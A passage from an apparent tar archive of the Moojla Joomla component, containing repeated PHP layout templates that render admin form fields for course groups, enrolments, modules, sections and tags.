$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/details_right.php000064400000004301151165724400015153
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'course_group'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/index.html000064400000000054151165724400013616
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course_group_map/publishing.php000064400000004357151165724400014510
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course_group_map/publlshing.php000064400000004344151165724400014507
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/details_left.php000064400000004311151165724400013423
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'moojlacourse',
'role'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/details_right.php000064400000004307151165724400013613
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'jid',
'enrolldate'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/index.html000064400000000054151165724400012250
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/enrolment/publishing.php000064400000004357151165724400013142
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/publlshing.php000064400000004344151165724400013141
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/index.html000064400000000054151165724400010245
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/module/details_left.php000064400000004450151165724400012711
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'module_section_id',
'module_id',
'visible',
'uservisible',
'name',
'modname',
'url',
'description',
'modicon'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/module/index.html000064400000000054151165724400011532
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/module/publishing.php000064400000004357151165724400012424
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/module/publlshing.php000064400000004344151165724400012423
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/details_left.php000064400000004374151165724400013075
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'courseid',
'section_id',
'name',
'visible',
'uservisible',
'summary'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/index.html000064400000000054151165724400011711
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/section/publishing.php000064400000004357151165724400012603
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/publlshing.php000064400000004344151165724400012602
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/details_left.php000064400000004310151165724400012172
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'tagid',
'isstandard'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/details_right.php000064400000004305151165724400012361
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'tagname',
'tags'
);
